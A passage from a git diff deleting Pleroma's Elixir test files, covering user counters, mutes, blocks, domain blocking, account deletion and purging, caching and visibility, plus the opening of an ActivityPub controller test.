user.note_count == 1 - - {:ok, user} = User.increase_note_count(user) - - assert user.note_count == 2 - end - - test "it decreases the note_count property" do - note = insert(:note) - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.increase_note_count(user) - - assert user.note_count == 1 - - {:ok, user} = User.decrease_note_count(user) - - assert user.note_count == 0 - - {:ok, user} = User.decrease_note_count(user) - - assert user.note_count == 0 - end - - test "it sets the follower_count property" do - user = insert(:user) - follower = insert(:user) - - User.follow(follower, user) - - assert user.follower_count == 0 - - {:ok, user} = User.update_follower_count(user) - - assert user.follower_count == 1 - end - end - - describe "mutes" do - test "it mutes people" do - user = insert(:user) - muted_user = insert(:user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - - {:ok, _user_relationships} = User.mute(user, muted_user) - - assert User.mutes?(user, muted_user) - assert User.muted_notifications?(user, muted_user) - end - - test "it unmutes users" do - user = insert(:user) - muted_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, muted_user) - {:ok, _user_mute} = User.unmute(user, muted_user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - end - - test "it mutes user without notifications" do - user = insert(:user) - muted_user = insert(:user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - - {:ok, _user_relationships} = User.mute(user, muted_user, false) - - assert User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - end - end - - describe "blocks" do - test "it blocks people" do - user = insert(:user) - blocked_user = insert(:user) - - refute User.blocks?(user, blocked_user) - - {:ok, _user_relationship} = User.block(user, blocked_user) - - assert User.blocks?(user, blocked_user) - end - - test "it unblocks users" do - user = insert(:user) - blocked_user = insert(:user) - - {:ok, _user_relationship} = User.block(user, blocked_user) - {:ok, _user_block} = User.unblock(user, blocked_user) - - refute User.blocks?(user, blocked_user) - end - - test "blocks tear down cyclical follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocker} = User.follow(blocker, blocked) - {:ok, blocked} = User.follow(blocked, blocker) - - assert User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocker->blocked follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocker} = User.follow(blocker, blocked) - - assert User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocked->blocker follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocked} = User.follow(blocked, blocker) - - refute User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocked->blocker subscription relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, _subscription} = User.subscribe(blocked, blocker) - - assert User.subscribed_to?(blocked, blocker) - refute User.subscribed_to?(blocker, blocked) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - assert User.blocks?(blocker, blocked) - refute User.subscribed_to?(blocker, blocked) - refute User.subscribed_to?(blocked, blocker) - end - end - - describe "domain blocking" do - test "blocks domains" do - user = insert(:user) - collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - - assert User.blocks?(user, collateral_user) - end - - test "does not block domain with same end" do - user = insert(:user) - - collateral_user = - insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "does not block domain with same end if wildcard added" do - user = insert(:user) - - collateral_user = - insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "blocks domain with wildcard for subdomain" do - user = insert(:user) - - user_from_subdomain = - insert(:user, %{ap_id: "https://subdomain.awful-and-rude-instance.com/user/bully"}) - - user_with_two_subdomains = - insert(:user, %{ - ap_id: "https://subdomain.second_subdomain.awful-and-rude-instance.com/user/bully" - }) - - user_domain = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") - - assert User.blocks?(user, user_from_subdomain) - assert User.blocks?(user, user_with_two_subdomains) - assert User.blocks?(user, user_domain) - end - - test "unblocks domains" do - user = insert(:user) - collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - {:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "follows take precedence over domain blocks" do - user = insert(:user) - good_eggo = insert(:user, %{ap_id: "https://meanies.social/user/cuteposter"}) - - {:ok, user} = User.block_domain(user, "meanies.social") - {:ok, user} = User.follow(user, good_eggo) - - refute User.blocks?(user, good_eggo) - end - end - - describe "get_recipients_from_activity" do - test "works for announces" do - actor = insert(:user) - user = insert(:user, local: true) - - {:ok, activity} = CommonAPI.post(actor, %{status: "hello"}) - {:ok, announce} = CommonAPI.repeat(activity.id, user) - - recipients = User.get_recipients_from_activity(announce) - - assert user in recipients - end - - test "get recipients" do - actor = insert(:user) - user = insert(:user, local: true) - user_two = insert(:user, local: false) - addressed = insert(:user, local: true) - addressed_remote = insert(:user, local: false) - - {:ok, activity} = - CommonAPI.post(actor, %{ - status: "hey @#{addressed.nickname} @#{addressed_remote.nickname}" - }) - - assert Enum.map([actor, addressed], & &1.ap_id) -- - Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] - - {:ok, user} = User.follow(user, actor) - {:ok, _user_two} = User.follow(user_two, actor) - recipients = User.get_recipients_from_activity(activity) - assert length(recipients) == 3 - assert user in recipients - assert addressed in recipients - end - - test "has following" do - actor = insert(:user) - user = insert(:user) - user_two = insert(:user) - addressed = insert(:user, local: true) - - {:ok, activity} = - CommonAPI.post(actor, %{ - status: "hey @#{addressed.nickname}" - }) - - assert Enum.map([actor, addressed], & &1.ap_id) -- - Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] - - {:ok, _actor} = User.follow(actor, user) - {:ok, _actor} = User.follow(actor, user_two) - recipients = User.get_recipients_from_activity(activity) - assert length(recipients) == 2 - assert addressed in recipients - end - end - - describe ".deactivate" do - test "can de-activate then re-activate a user" do - user = insert(:user) - assert false == user.deactivated - {:ok, user} = User.deactivate(user) - assert true == user.deactivated - {:ok, user} = User.deactivate(user, false) - assert false == user.deactivated - end - - test "hide a user from followers" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user} = User.follow(user, user2) - {:ok, _user} = User.deactivate(user) - - user2 = User.get_cached_by_id(user2.id) - - assert user2.follower_count == 0 - assert [] = User.get_followers(user2) - end - - test "hide a user from friends" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user2} = User.follow(user2, user) - assert user2.following_count == 1 - assert User.following_count(user2) == 1 - - {:ok, _user} = User.deactivate(user) - - user2 = User.get_cached_by_id(user2.id) - - assert refresh_record(user2).following_count == 0 - assert user2.following_count == 0 - assert User.following_count(user2) == 0 - assert [] = User.get_friends(user2) - end - - test "hide a user's statuses from timelines and notifications" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user2} = User.follow(user2, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{user2.nickname}"}) - - activity = Repo.preload(activity, :bookmark) - - [notification] = Pleroma.Notification.for_user(user2) - assert notification.activity.id == activity.id - - assert [activity] == ActivityPub.fetch_public_activities(%{}) |> Repo.preload(:bookmark) - - assert [%{activity | thread_muted?: CommonAPI.thread_muted?(user2, activity)}] == - ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ - user: user2 - }) - - {:ok, _user} = User.deactivate(user) - - assert [] == ActivityPub.fetch_public_activities(%{}) - assert [] == Pleroma.Notification.for_user(user2) - - assert [] == - ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ - user: user2 - }) - end - end - - describe "approve" do - test "approves a user" do - user = insert(:user, approval_pending: true) - assert true == user.approval_pending - {:ok, user} = User.approve(user) - assert false == user.approval_pending - end - - test "approves a list of users" do - unapproved_users = [ - insert(:user, approval_pending: true), - insert(:user, approval_pending: true), - insert(:user, approval_pending: true) - ] - - {:ok, users} = User.approve(unapproved_users) - - assert Enum.count(users) == 3 - - Enum.each(users, fn user -> - assert false == user.approval_pending - end) - end - end - - describe "delete" do - setup do - {:ok, user} = insert(:user) |> User.set_cache() - - [user: user] - end - - setup do: clear_config([:instance, :federating]) - - test ".delete_user_activities deletes all create activities", %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "2hu"}) - - User.delete_user_activities(user) - - # TODO: Test removal favorites, repeats, delete activities. - refute Activity.get_by_id(activity.id) - end - - test "it deactivates a user, all follow relationships and all activities", %{user: user} do - follower = insert(:user) - {:ok, follower} = User.follow(follower, user) - - locked_user = insert(:user, name: "locked", locked: true) - {:ok, _} = User.follow(user, locked_user, :follow_pending) - - object = insert(:note, user: user) - activity = insert(:note_activity, user: user, note: object) - - object_two = insert(:note, user: follower) - activity_two = insert(:note_activity, user: follower, note: object_two) - - {:ok, like} = CommonAPI.favorite(user, activity_two.id) - {:ok, like_two} = CommonAPI.favorite(follower, activity.id) - {:ok, repeat} = CommonAPI.repeat(activity_two.id, user) - - {:ok, job} = User.delete(user) - {:ok, _user} = ObanHelpers.perform(job) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, user) - assert %{deactivated: true} = User.get_by_id(user.id) - - assert [] == User.get_follow_requests(locked_user) - - user_activities = - user.ap_id - |> Activity.Queries.by_actor() - |> Repo.all() - |> Enum.map(fn act -> act.data["type"] end) - - assert Enum.all?(user_activities, fn act -> act in ~w(Delete Undo) end) - - refute Activity.get_by_id(activity.id) - refute Activity.get_by_id(like.id) - refute Activity.get_by_id(like_two.id) - refute Activity.get_by_id(repeat.id) - end - end - - describe "delete/1 when confirmation is pending" do - setup do - user = insert(:user, confirmation_pending: true) - {:ok, user: user} - end - - test "deletes user from database when activation required", %{user: user} do - clear_config([:instance, :account_activation_required], true) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - refute User.get_cached_by_id(user.id) - refute User.get_by_id(user.id) - end - - test "deactivates user when activation is not required", %{user: user} do - clear_config([:instance, :account_activation_required], false) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - assert %{deactivated: true} = User.get_cached_by_id(user.id) - assert %{deactivated: true} = User.get_by_id(user.id) - end - end - - test "delete/1 when approval is pending deletes the user" do - user = insert(:user, approval_pending: true) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - refute User.get_cached_by_id(user.id) - refute User.get_by_id(user.id) - end - - test "delete/1 purges a user when they wouldn't be fully deleted" do - user = - insert(:user, %{ - bio: "eyy lmao", - name: "qqqqqqq", - password_hash: "pdfk2$1b3n159001", - keys: "RSA begin buplic key", - public_key: "--PRIVATE KEYE--", - avatar: %{"a" => "b"}, - tags: ["qqqqq"], - banner: %{"a" => "b"}, - background: %{"a" => "b"}, - note_count: 9, - follower_count: 9, - following_count: 9001, - locked: true, - confirmation_pending: true, - password_reset_pending: true, - approval_pending: true, - registration_reason: "ahhhhh", - confirmation_token: "qqqq", - domain_blocks: ["lain.com"], - deactivated: true, - ap_enabled: true, - is_moderator: true, - is_admin: true, - mastofe_settings: %{"a" => "b"}, - mascot: %{"a" => "b"}, - emoji: %{"a" => "b"}, - pleroma_settings_store: %{"q" => "x"}, - fields: [%{"gg" => "qq"}], - raw_fields: [%{"gg" => "qq"}], - discoverable: true, - also_known_as: ["https://lol.olo/users/loll"] - }) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - user = User.get_by_id(user.id) - - assert %User{ - bio: "", - raw_bio: nil, - email: nil, - name: nil, - password_hash: nil, - keys: nil, - public_key: nil, - avatar: %{}, - tags: [], - last_refreshed_at: nil, - last_digest_emailed_at: nil, - banner: %{}, - background: %{}, - note_count: 0, - follower_count: 0, - following_count: 0, - locked: false, - confirmation_pending: false, - password_reset_pending: false, - approval_pending: false, - registration_reason: nil, - confirmation_token: nil, - domain_blocks: [], - deactivated: true, - ap_enabled: false, - is_moderator: false, - is_admin: false, - mastofe_settings: nil, - mascot: nil, - emoji: %{}, - pleroma_settings_store: %{}, - fields: [], - raw_fields: [], - discoverable: false, - also_known_as: [] - } = user - end - - test "get_public_key_for_ap_id fetches a user that's not in the db" do - assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin") - end - - describe "per-user rich-text filtering" do - test "html_filter_policy returns default policies, when rich-text is enabled" do - user = insert(:user) - - assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user) - end - - test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do - user = insert(:user, no_rich_text: true) - - assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user) - end - end - - describe "caching" do - test "invalidate_cache works" do - user = insert(:user) - - User.set_cache(user) - User.invalidate_cache(user) - - {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - {:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}") - end - - test "User.delete() plugs any possible zombie objects" do - user = insert(:user) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - {:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - - assert cached_user != user - - {:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}") - - assert cached_user != user - end - end - - describe "account_status/1" do - setup do: clear_config([:instance, :account_activation_required]) - - test "return confirmation_pending for unconfirm user" do - Pleroma.Config.put([:instance, :account_activation_required], true) - user = insert(:user, confirmation_pending: true) - assert User.account_status(user) == :confirmation_pending - end - - test "return active for confirmed user" do - Pleroma.Config.put([:instance, :account_activation_required], true) - user = insert(:user, confirmation_pending: false) - assert User.account_status(user) == :active - end - - test "return active for remote user" do - user = insert(:user, local: false) - assert User.account_status(user) == :active - end - - test "returns :password_reset_pending for user with reset password" do - user = insert(:user, password_reset_pending: true) - assert User.account_status(user) == :password_reset_pending - end - - test "returns :deactivated for deactivated user" do - user = insert(:user, local: true, confirmation_pending: false, deactivated: true) - assert User.account_status(user) == :deactivated - end - - test "returns :approval_pending for unapproved user" do - user = insert(:user, local: true, approval_pending: true) - assert User.account_status(user) == :approval_pending - - user = insert(:user, local: true, confirmation_pending: true, approval_pending: true) - assert User.account_status(user) == :approval_pending - end - end - - describe "superuser?/1" do - test "returns false for unprivileged users" do - user = insert(:user, local: true) - - refute User.superuser?(user) - end - - test "returns false for remote users" do - user = insert(:user, local: false) - remote_admin_user = insert(:user, local: false, is_admin: true) - - refute User.superuser?(user) - refute User.superuser?(remote_admin_user) - end - - test "returns true for local moderators" do - user = insert(:user, local: true, is_moderator: true) - - assert User.superuser?(user) - end - - test "returns true for local admins" do - user = insert(:user, local: true, is_admin: true) - - assert User.superuser?(user) - end - end - - describe "invisible?/1" do - test "returns true for an invisible user" do - user = insert(:user, local: true, invisible: true) - - assert User.invisible?(user) - end - - test "returns false for a non-invisible user" do - user = insert(:user, local: true) - - refute User.invisible?(user) - end - end - - describe "visible_for/2" do - test "returns true when the account is itself" do - user = insert(:user, local: true) - - assert User.visible_for(user, user) == :visible - end - - test "returns false when the account is unconfirmed and confirmation is required" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true) - - refute User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: false, confirmation_pending: true) - other_user = insert(:user, local: true) - - assert User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and confirmation is not required" do - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true) - - assert User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and being viewed by a privileged account (confirmation required)" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true, is_admin: true) - - assert User.visible_for(user, other_user) == :visible - end - end - - describe "parse_bio/2" do - test "preserves hosts in user links text" do - remote_user = insert(:user, local: false, nickname: "nick@domain.com") - user = insert(:user) - bio = "A.k.a. @nick@domain.com" - - expected_text = - ~s(A.k.a. <span class="h-card"><a class="u-url mention" data-user="#{remote_user.id}" href="#{ - remote_user.ap_id - }" rel="ugc">@<span>nick@domain.com</span></a></span>) - - assert expected_text == User.parse_bio(bio, user) - end - - test "Adds rel=me on linkbacked urls" do - user = insert(:user, ap_id: "https://social.example.org/users/lain") - - bio = "http://example.com/rel_me/null" - expected_text = "<a href=\"#{bio}\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - - bio = "http://example.com/rel_me/link" - expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - - bio = "http://example.com/rel_me/anchor" - expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - end - end - - test "follower count is updated when a follower is blocked" do - user = insert(:user) - follower = insert(:user) - follower2 = insert(:user) - follower3 = insert(:user) - - {:ok, follower} = User.follow(follower, user) - {:ok, _follower2} = User.follow(follower2, user) - {:ok, _follower3} = User.follow(follower3, user) - - {:ok, _user_relationship} = User.block(user, follower) - user = refresh_record(user) - - assert user.follower_count == 2 - end - - describe "list_inactive_users_query/1" do - defp days_ago(days) do - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -days * 60 * 60 * 24, - :second - ) - end - - test "Users are inactive by default" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(users, fn user -> - assert user.id in inactive_users_ids - end) - end - - test "Only includes users who has no recent activity" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - {inactive, active} = Enum.split(users, trunc(total / 2)) - - Enum.map(active, fn user -> - to = Enum.random(users -- [user]) - - {:ok, _} = - CommonAPI.post(user, %{ - status: "hey @#{to.nickname}" - }) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(active, fn user -> - refute user.id in inactive_users_ids - end) - - Enum.each(inactive, fn user -> - assert user.id in inactive_users_ids - end) - end - - test "Only includes users with no read notifications" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - [sender | recipients] = users - {inactive, active} = Enum.split(recipients, trunc(total / 2)) - - Enum.each(recipients, fn to -> - {:ok, _} = - CommonAPI.post(sender, %{ - status: "hey @#{to.nickname}" - }) - - {:ok, _} = - CommonAPI.post(sender, %{ - status: "hey again @#{to.nickname}" - }) - end) - - Enum.each(active, fn user -> - [n1, _n2] = Pleroma.Notification.for_user(user) - {:ok, _} = Pleroma.Notification.read_one(user, n1.id) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(active, fn user -> - refute user.id in inactive_users_ids - end) - - Enum.each(inactive, fn user -> - assert user.id in inactive_users_ids - end) - end - end - - describe "toggle_confirmation/1" do - test "if user is confirmed" do - user = insert(:user, confirmation_pending: false) - {:ok, user} = User.toggle_confirmation(user) - - assert user.confirmation_pending - assert user.confirmation_token - end - - test "if user is unconfirmed" do - user = insert(:user, confirmation_pending: true, confirmation_token: "some token") - {:ok, user} = User.toggle_confirmation(user) - - refute user.confirmation_pending - refute user.confirmation_token - end - end - - describe "ensure_keys_present" do - test "it creates keys for a user and stores them in info" do - user = insert(:user) - refute is_binary(user.keys) - {:ok, user} = User.ensure_keys_present(user) - assert is_binary(user.keys) - end - - test "it doesn't create keys if there already are some" do - user = insert(:user, keys: "xxx") - {:ok, user} = User.ensure_keys_present(user) - assert user.keys == "xxx" - end - end - - describe "get_ap_ids_by_nicknames" do - test "it returns a list of AP ids for a given set of nicknames" do - user = insert(:user) - user_two = insert(:user) - - ap_ids = User.get_ap_ids_by_nicknames([user.nickname, user_two.nickname, "nonexistent"]) - assert length(ap_ids) == 2 - assert user.ap_id in ap_ids - assert user_two.ap_id in ap_ids - end - end - - describe "sync followers count" do - setup do - user1 = insert(:user, local: false, ap_id: "http://localhost:4001/users/masto_closed") - user2 = insert(:user, local: false, ap_id: "http://localhost:4001/users/fuser2") - insert(:user, local: true) - insert(:user, local: false, deactivated: true) - {:ok, user1: user1, user2: user2} - end - - test "external_users/1 external active users with limit", %{user1: user1, user2: user2} do - [fdb_user1] = User.external_users(limit: 1) - - assert fdb_user1.ap_id - assert fdb_user1.ap_id == user1.ap_id - assert fdb_user1.id == user1.id - - [fdb_user2] = User.external_users(max_id: fdb_user1.id, limit: 1) - - assert fdb_user2.ap_id - assert fdb_user2.ap_id == user2.ap_id - assert fdb_user2.id == user2.id - - assert User.external_users(max_id: fdb_user2.id, limit: 1) == [] - end - end - - describe "is_internal_user?/1" do - test "non-internal user returns false" do - user = insert(:user) - refute User.is_internal_user?(user) - end - - test "user with no nickname returns true" do - user = insert(:user, %{nickname: nil}) - assert User.is_internal_user?(user) - end - - test "user with internal-prefixed nickname returns true" do - user = insert(:user, %{nickname: "internal.test"}) - assert User.is_internal_user?(user) - end - end - - describe "update_and_set_cache/1" do - test "returns error when user is stale instead Ecto.StaleEntryError" do - user = insert(:user) - - changeset = Ecto.Changeset.change(user, bio: "test") - - Repo.delete(user) - - assert {:error, %Ecto.Changeset{errors: [id: {"is stale", [stale: true]}], valid?: false}} = - User.update_and_set_cache(changeset) - end - - test "performs update cache if user updated" do - user = insert(:user) - assert {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - - changeset = Ecto.Changeset.change(user, bio: "test-bio") - - assert {:ok, %User{bio: "test-bio"} = user} = User.update_and_set_cache(changeset) - assert {:ok, user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - assert %User{bio: "test-bio"} = User.get_cached_by_ap_id(user.ap_id) - end - end - - describe "following/followers synchronization" do - setup do: clear_config([:instance, :external_user_synchronization]) - - test "updates the counters normally on following/getting a follow when disabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - {:ok, user} = Pleroma.User.follow(user, other_user) - other_user = Pleroma.User.get_by_id(other_user.id) - - assert user.following_count == 1 - assert other_user.follower_count == 1 - end - - test "syncronizes the counters with the remote instance for the followed when enabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - Pleroma.Config.put([:instance, :external_user_synchronization], true) - {:ok, _user} = User.follow(user, other_user) - other_user = User.get_by_id(other_user.id) - - assert other_user.follower_count == 437 - end - - test "syncronizes the counters with the remote instance for the follower when enabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - Pleroma.Config.put([:instance, :external_user_synchronization], true) - {:ok, other_user} = User.follow(other_user, user) - - assert other_user.following_count == 152 - end - end - - describe "change_email/2" do - setup do - [user: insert(:user)] - end - - test "blank email returns error", %{user: user} do - assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "") - assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil) - end - - test "non unique email returns error", %{user: user} do - %{email: email} = insert(:user) - - assert {:error, %{errors: [email: {"has already been taken", _}]}} = - User.change_email(user, email) - end - - test "invalid email returns error", %{user: user} do - assert {:error, %{errors: [email: {"has invalid format", _}]}} = - User.change_email(user, "cofe") - end - - test "changes email", %{user: user} do - assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party") - end - end - - describe "get_cached_by_nickname_or_id" do - setup do - local_user = insert(:user) - remote_user = insert(:user, nickname: "nickname@example.com", local: false) - - [local_user: local_user, remote_user: remote_user] - end - - setup do: clear_config([:instance, :limit_to_local_content]) - - test "allows getting remote users by id no matter what :limit_to_local_content is set to", %{ - remote_user: remote_user - } do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - end - - test "disallows getting remote users by nickname without authentication when :limit_to_local_content is set to :unauthenticated", - %{remote_user: remote_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) - end - - test "allows getting remote users by nickname with authentication when :limit_to_local_content is set to :unauthenticated", - %{remote_user: remote_user, local_user: local_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.nickname, for: local_user) - end - - test "disallows getting remote users by nickname when :limit_to_local_content is set to true", - %{remote_user: remote_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) - end - - test "allows getting local users by nickname no matter what :limit_to_local_content is set to", - %{local_user: local_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - end - end - - describe "update_email_notifications/2" do - setup do - user = insert(:user, email_notifications: %{"digest" => true}) - - {:ok, user: user} - end - - test "Notifications are updated", %{user: user} do - true = user.email_notifications["digest"] - assert {:ok, result} = User.update_email_notifications(user, %{"digest" => false}) - assert result.email_notifications["digest"] == false - end - end - - test "avatar fallback" do - user = insert(:user) - assert User.avatar_url(user) =~ "/images/avi.png" - - clear_config([:assets, :default_user_avatar], "avatar.png") - - user = User.get_cached_by_nickname_or_id(user.nickname) - assert User.avatar_url(user) =~ "avatar.png" - - assert User.avatar_url(user, no_default: true) == nil - end -end diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs deleted file mode 100644 index 0517571f2..000000000 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ /dev/null @@ -1,1550 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Delivery - alias Pleroma.Instances - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.ObjectView - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.ActivityPub.UserView - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - alias Pleroma.Workers.ReceiverWorker - - import Pleroma.Factory - - require Pleroma.Constants - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating], true) - - describe "/relay" do - setup do: clear_config([:instance, :allow_relay]) - - test "with the relay active, it returns the relay user", %{conn: conn} do - res = - conn - |> get(activity_pub_path(conn, :relay)) - |> json_response(200) - - assert res["id"] =~ "/relay" - end - - test "with the relay disabled, it returns 404", %{conn: conn} do - Config.put([:instance, :allow_relay], false) - - conn - |> get(activity_pub_path(conn, :relay)) - |> json_response(404) - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get(activity_pub_path(conn, :relay)) - |> json_response(404) - end - end - - describe "/internal/fetch" do - test "it returns the internal fetch user", %{conn: conn} do - res = - conn - |> get(activity_pub_path(conn, 